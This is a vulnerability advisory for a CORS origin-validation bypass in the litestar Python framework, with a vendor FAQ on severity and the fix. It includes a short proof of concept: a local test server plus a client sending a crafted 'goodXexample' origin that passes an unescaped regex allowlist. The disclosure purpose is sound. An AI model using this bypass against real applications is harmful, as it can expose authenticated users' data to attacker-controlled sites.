CVE-2026-25478

CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin

Details

CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).

PoC

Server (poc_cors_server.py)

from litestar import Litestar, get
from litestar.config.cors import CORSConfig

@get("/c")
async def c() -> str:
    return "ok"

cors = CORSConfig(
    allow_origins=["https://good.example"],
    allow_credentials=True,
)
app = Litestar([c], cors_config=cors)

uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002

Client (poc_cors_client.py)

import http.client

def req(origin: str) -> tuple[int, str | None]:
    c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3)
    c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"})
    r = c.getresponse()
    r.read()
    acao = r.getheader("Access-Control-Allow-Origin")
    c.close()
    return r.status, acao

print("evil:", req("https://evil.example"))
print("bypass:", req("https://goodXexample")) 

Expected (vulnerable behavior):

Origin: https://evil.example → no ACAO
Origin: https://goodXexample → ACAO: https://goodxexample/ (bypass)

Type: CORS policy bypass (cross-origin data exposure risk)
Who is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.

CVE-2026-25478 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.20.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25478? CVE-2026-25478 is a high-severity security vulnerability in litestar (pip), affecting versions = 2.19.0. It is fixed in 2.20.0.
2. How severe is CVE-2026-25478? CVE-2026-25478 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of litestar are affected by CVE-2026-25478? litestar (pip) versions = 2.19.0 is affected.
4. Is there a fix for CVE-2026-25478? Yes. CVE-2026-25478 is fixed in 2.20.0. Upgrade to this version or later.
5. Is CVE-2026-25478 exploitable, and should I be worried? Whether CVE-2026-25478 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25478 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25478? Upgrade litestar to 2.20.0 or later.